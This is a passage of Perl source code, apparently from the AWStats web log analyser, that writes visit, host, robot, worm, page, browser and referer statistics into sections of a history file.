HISTORYTMP "$spacebar${xmlre}\n"; # When print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}"; $PosInFile{"time"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}"; $PosInFile{"visitor"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}"; $PosInFile{"day"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; # Who print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}"; $PosInFile{"domain"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}"; $PosInFile{"login"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}"; $PosInFile{"robot"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}"; $PosInFile{"worms"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}"; $PosInFile{"emailsender"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}"; $PosInFile{"emailreceiver"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; # Navigation print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}"; $PosInFile{"session"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}"; $PosInFile{"sider"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}"; $PosInFile{"filetypes"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_DOWNLOADS${xmlrs}"; $PosInFile{'downloads'} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_OS${xmlrs}"; $PosInFile{"os"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}"; $PosInFile{"browser"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}"; $PosInFile{"screensize"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}"; $PosInFile{'unknownreferer'} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}"; $PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; # Referers print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}"; $PosInFile{"origin"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}"; $PosInFile{"sereferrals"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}"; $PosInFile{"pagerefs"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}"; $PosInFile{"searchwords"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}"; $PosInFile{"keywords"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; # Others print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}"; $PosInFile{"misc"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}"; $PosInFile{"errors"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}"; $PosInFile{"cluster"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; foreach ( keys %TrapInfosForHTTPErrorCodes ) { print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}"; $PosInFile{"sider_$_"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; } foreach ( 1 .. @ExtraName - 1 ) { print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}"; $PosInFile{"extra_$_"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; } foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}"; $PosInFile{"plugin_$_"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; } print HISTORYTMP "${xmleb}END_MAP${xmlee}\n"; } # General if ( $sectiontosave eq 'general' ) { $LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec"); print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n"; print HISTORYTMP "# FirstTime = Date of first visit for history file\n"; print HISTORYTMP "# LastTime = Date of last visit for history file\n"; print HISTORYTMP "# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n"; print HISTORYTMP "# TotalVisits = Number of visits\n"; print HISTORYTMP "# TotalUnique = Number of unique visitors\n"; print HISTORYTMP "# MonthHostsKnown = Number of hosts known\n"; print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n"; print HISTORYTMP "${xmlrb}LastLine${xmlrs}" . ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} ) . " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n"; print HISTORYTMP "${xmlrb}FirstTime${xmlrs}" . $FirstTime{$breakdate} . "${xmlre}\n"; print HISTORYTMP "${xmlrb}LastTime${xmlrs}" . $LastTime{$breakdate} . "${xmlre}\n"; print HISTORYTMP "${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n"; print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}"; $PosInFile{"TotalVisits"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}"; $PosInFile{"TotalUnique"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}"; $PosInFile{"MonthHostsKnown"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}"; $PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP; print HISTORYTMP "$spacebar${xmlre}\n"; print HISTORYTMP "${xmleb}" . ( ${xmleb} ? "\n" : "" ) . "END_GENERAL${xmlee}\n" ; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections } # When if ( $sectiontosave eq 'time' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n"; for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { print HISTORYTMP "${xmlrb}$ix${xmlrs}" . int( $_time_p[$ix] ) . "${xmlrs}" . int( $_time_h[$ix] ) . "${xmlrs}" . int( $_time_k[$ix] ) . "${xmlrs}" . int( $_time_nv_p[$ix] ) . "${xmlrs}" . int( $_time_nv_h[$ix] ) . "${xmlrs}" . int( $_time_nv_k[$ix] ) . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_TIME${xmlee}\n"; } if ( $sectiontosave eq 'day' ) { # This section must be saved after VISITOR section is read print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}" . ( scalar keys %DayHits ) . "${xmlbe}\n"; my $monthvisits = 0; foreach ( sort keys %DayHits ) { if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month my $page = $DayPages{$_} || 0; my $hits = $DayHits{$_} || 0; my $bytes = $DayBytes{$_} || 0; my $visits = $DayVisits{$_} || 0; print HISTORYTMP "${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n"; $monthvisits += $visits; } } $MonthVisits{ $year . $month } = $monthvisits; print HISTORYTMP "${xmleb}END_DAY${xmlee}\n"; } # Who if ( $sectiontosave eq 'domain' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n"; } print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n"; print HISTORYTMP "# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}" . ( scalar keys %_domener_h ) . "${xmlbe}\n"; # We save page list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'Domain'}, $MinHit{'Domain'}, \%_domener_h, \%_domener_p ); my %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; my $page = $_domener_p{$_} || 0; my $bytes = $_domener_k{$_} || 0; # ||0 could be commented to reduce history file size print HISTORYTMP "${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n"; } foreach ( keys %_domener_h ) { if ( $keysinkeylist{$_} ) { next; } my $page = $_domener_p{$_} || 0; my $bytes = $_domener_k{$_} || 0; # ||0 could be commented to reduce history file size print HISTORYTMP "${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n"; } print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n"; } if ( $sectiontosave eq 'visitor' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n"; } print HISTORYTMP "# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n"; print HISTORYTMP "# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n"; print HISTORYTMP "# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}" . ( scalar keys %_host_h ) . "${xmlbe}\n"; my $monthhostsknown = 0; # We save page list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h, \%_host_p ); my %keysinkeylist = (); foreach my $key (@keylist) { if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) { $monthhostsknown++; } $keysinkeylist{$key} = 1; my $page = $_host_p{$key} || 0; my $bytes = $_host_k{$key} || 0; my $timehostl = $_host_l{$key} || 0; my $timehosts = $_host_s{$key} || 0; my $lastpage = $_host_u{$key} || ''; if ( $timehostl && $timehosts && $lastpage ) { if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) { # Session for this user is expired if ($timehosts) { $_session{ GetSessionRange( $timehosts, $timehostl ) } ++; } if ($lastpage) { $_url_x{$lastpage}++; } delete $_host_s{$key}; delete $_host_u{$key}; print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n"; } else { # If this user has started a new session that is not expired print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n"; } } else { my $hostl = $timehostl || ''; print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n"; } } foreach my $key ( keys %_host_h ) { if ( $keysinkeylist{$key} ) { next; } if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) { $monthhostsknown++; } my $page = $_host_p{$key} || 0; my $bytes = $_host_k{$key} || 0; my $timehostl = $_host_l{$key} || 0; my $timehosts = $_host_s{$key} || 0; my $lastpage = $_host_u{$key} || ''; if ( $timehostl && $timehosts && $lastpage ) { if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) { # Session for this user is expired if ($timehosts) { $_session{ GetSessionRange( $timehosts, $timehostl ) } ++; } if ($lastpage) { $_url_x{$lastpage}++; } delete $_host_s{$key}; delete $_host_u{$key}; print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n"; } else { # If this user has started a new session that is not expired print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n"; } } else { my $hostl = $timehostl || ''; print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n"; } } $MonthUnique{ $year . $month } = ( scalar keys %_host_p ); $MonthHostsKnown{ $year . $month } = $monthhostsknown; $MonthHostsUnknown{ $year . $month } = ( scalar keys %_host_h ) - $monthhostsknown; print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n"; } if ( $sectiontosave eq 'login' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n"; } print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n"; print HISTORYTMP "# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}" . ( scalar keys %_login_h ) . "${xmlbe}\n"; # We save login list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h, \%_login_p ); my %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_login_p{$_} || 0 ) . "${xmlrs}" . int( $_login_h{$_} || 0 ) . "${xmlrs}" . int( $_login_k{$_} || 0 ) . "${xmlrs}" . ( $_login_l{$_} || '' ) . "${xmlre}\n"; } foreach ( keys %_login_h ) { if ( $keysinkeylist{$_} ) { next; } print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_login_p{$_} || 0 ) . "${xmlrs}" . int( $_login_h{$_} || 0 ) . "${xmlrs}" . int( $_login_k{$_} || 0 ) . "${xmlrs}" . ( $_login_l{$_} || '' ) . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n"; } if ( $sectiontosave eq 'robot' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n"; } print HISTORYTMP "# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n"; print HISTORYTMP "# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}" . ( scalar keys %_robot_h ) . "${xmlbe}\n"; # We save robot list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h, \%_robot_h ); my %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_robot_h{$_} ) . "${xmlrs}" . int( $_robot_k{$_} ) . "${xmlrs}$_robot_l{$_}${xmlrs}" . int( $_robot_r{$_} || 0 ) . "${xmlre}\n"; } foreach ( keys %_robot_h ) { if ( $keysinkeylist{$_} ) { next; } print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_robot_h{$_} ) . "${xmlrs}" . int( $_robot_k{$_} ) . "${xmlrs}$_robot_l{$_}${xmlrs}" . int( $_robot_r{$_} || 0 ) . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n"; } if ( $sectiontosave eq 'worms' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n"; } print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n"; print HISTORYTMP "# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}" . ( scalar keys %_worm_h ) . "${xmlbe}\n"; # We save worm list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h, \%_worm_h ); my %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_worm_h{$_} ) . "${xmlrs}" . int( $_worm_k{$_} ) . "${xmlrs}$_worm_l{$_}${xmlre}\n"; } foreach ( keys %_worm_h ) { if ( $keysinkeylist{$_} ) { next; } print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_worm_h{$_} ) . "${xmlrs}" . int( $_worm_k{$_} ) . "${xmlrs}$_worm_l{$_}${xmlre}\n"; } print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n"; } if ( $sectiontosave eq 'emailsender' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n"; } print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n"; print HISTORYTMP "# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}" . ( scalar keys %_emails_h ) . "${xmlbe}\n"; # We save sender email list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h, \%_emails_h ); my %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_emails_h{$_} || 0 ) . "${xmlrs}" . int( $_emails_k{$_} || 0 ) . "${xmlrs}$_emails_l{$_}${xmlre}\n"; } foreach ( keys %_emails_h ) { if ( $keysinkeylist{$_} ) { next; } print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_emails_h{$_} || 0 ) . "${xmlrs}" . int( $_emails_k{$_} || 0 ) . "${xmlrs}$_emails_l{$_}${xmlre}\n"; } print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n"; } if ( $sectiontosave eq 'emailreceiver' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n"; } print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n"; print HISTORYTMP "# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}" . ( scalar keys %_emailr_h ) . "${xmlbe}\n"; # We save receiver email list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h, \%_emailr_h ); my %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_emailr_h{$_} || 0 ) . "${xmlrs}" . int( $_emailr_k{$_} || 0 ) . "${xmlrs}$_emailr_l{$_}${xmlre}\n"; } foreach ( keys %_emailr_h ) { if ( $keysinkeylist{$_} ) { next; } print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_emailr_h{$_} || 0 ) . "${xmlrs}" . int( $_emailr_k{$_} || 0 ) . "${xmlrs}$_emailr_l{$_}${xmlre}\n"; } print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n"; } # Navigation if ( $sectiontosave eq 'session' ) { # This section must be saved after VISITOR section is read print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Session range - Number of visits\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}" . ( scalar keys %_session ) . "${xmlbe}\n"; foreach ( keys %_session ) { print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_session{$_} ) . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n"; } if ( $sectiontosave eq 'sider' ) { # This section must be saved after VISITOR section is read print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n"; } print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n"; print HISTORYTMP "# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}" . ( scalar keys %_url_p ) . "${xmlbe}\n"; # We save page list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p, \%_url_p ); %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; my $newkey = $_; $newkey =~ s/([^:])\/\//$1\//g ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($newkey) . "${xmlrs}" . int( $_url_p{$_} || 0 ) . "${xmlrs}" . int( $_url_k{$_} || 0 ) . "${xmlrs}" . int( $_url_e{$_} || 0 ) . "${xmlrs}" . int( $_url_x{$_} || 0 ) . "${xmlre}\n"; } foreach ( keys %_url_p ) { if ( $keysinkeylist{$_} ) { next; } my $newkey = $_; $newkey =~ s/([^:])\/\//$1\//g ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($newkey) . "${xmlrs}" . int( $_url_p{$_} || 0 ) . "${xmlrs}" . int( $_url_k{$_} || 0 ) . "${xmlrs}" . int( $_url_e{$_} || 0 ) . "${xmlrs}" . int( $_url_x{$_} || 0 ) . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n"; } if ( $sectiontosave eq 'filetypes' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}" . ( scalar keys %_filetypes_h ) . "${xmlbe}\n"; foreach ( keys %_filetypes_h ) { my $hits = $_filetypes_h{$_} || 0; my $bytes = $_filetypes_k{$_} || 0; my $bytesbefore = $_filetypes_gz_in{$_} || 0; my $bytesafter = $_filetypes_gz_out{$_} || 0; print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n"; } print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n"; } if ( $sectiontosave eq 'downloads' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Downloads - Hits - Bandwidth\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_DOWNLOADS${xmlbs}" . ( scalar keys %_downloads ) . "${xmlbe}\n"; for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($u) . "${xmlrs}" . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_HITS'} || 0) . "${xmlrs}" . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_206'} || 0) ."${xmlrs}" . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_SIZE'} || 0) ."${xmlre}\n"; } print HISTORYTMP "${xmleb}END_DOWNLOADS${xmlee}\n"; } if ( $sectiontosave eq 'os' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# OS ID - Hits\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_OS ID - Hits - Pages${xmlbs}" . ( scalar keys %_os_h ) . "${xmlbe}\n"; foreach ( keys %_os_h ) { my $hits = $_os_h{$_} || 0; my $pages = $_os_p{$_} || 0; print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n"; } print HISTORYTMP "${xmleb}END_OS${xmlee}\n"; } if ( $sectiontosave eq 'browser' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Browser ID - Hits - Pages\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}" . ( scalar keys %_browser_h ) . "${xmlbe}\n"; foreach ( keys %_browser_h ) { my $hits = $_browser_h{$_} || 0; my $pages = $_browser_p{$_} || 0; print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n"; } print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n"; } if ( $sectiontosave eq 'screensize' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Screen size - Hits\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}" . ( scalar keys %_screensize_h ) . "${xmlbe}\n"; foreach ( keys %_screensize_h ) { print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n"; } print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n"; } # Referer if ( $sectiontosave eq 'unknownreferer' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Unknown referer OS - Last visit date\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}" . ( scalar keys %_unknownreferer_l ) . "${xmlbe}\n"; foreach ( keys %_unknownreferer_l ) { print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($_) . "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n"; } print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n"; } if ( $sectiontosave eq 'unknownrefererbrowser' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Unknown referer Browser - Last visit date\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}" . ( scalar keys %_unknownrefererbrowser_l ) . "${xmlbe}\n"; foreach ( keys %_unknownrefererbrowser_l ) { print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($_) . "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n"; } print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n"; } if ( $sectiontosave eq 'origin' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Origin - Pages - Hits \n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n"; print HISTORYTMP 